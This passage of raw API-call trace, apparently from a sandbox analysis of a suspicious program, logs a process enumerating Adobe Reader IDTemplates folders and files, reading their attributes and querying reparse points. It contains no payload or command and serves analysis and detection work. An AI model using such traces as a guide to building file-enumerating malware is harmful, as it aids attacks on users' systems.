lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x102c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.393] GetLastError () returned 0x12 [0081.394] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.394] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.394] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.394] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.394] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x102c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.394] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x102c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.394] GetLastError () returned 0x12 [0081.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.394] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.394] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SVE", cAlternateFileName="")) returned 1 [0081.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.395] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.396] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.396] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.396] NtClose (Handle=0x178) returned 0x0 [0081.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.397] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.397] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.397] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12696, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201bb8 [0081.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12643d0 [0081.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.399] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c35, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201bd8 [0081.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12644d8 [0081.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.400] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c35, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.400] GetLastError () returned 0x12 [0081.400] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.401] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.401] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80600540, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.401] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12696, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.401] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c35, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.401] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c35, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.401] GetLastError () returned 0x12 [0081.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.401] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.401] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TUR", cAlternateFileName="")) returned 1 [0081.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.403] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.403] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.403] NtClose (Handle=0x168) returned 0x0 [0081.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.404] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.405] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.405] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201bf8 [0081.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12645e0 [0081.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.406] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201c18 [0081.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12646e8 [0081.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.408] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.408] GetLastError () returned 0x12 [0081.408] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.408] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.408] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809de900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.408] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.408] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.408] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.408] GetLastError () returned 0x12 [0081.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.408] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.409] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0081.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.409] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.409] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.409] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.410] NtClose (Handle=0x178) returned 0x0 [0081.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.410] 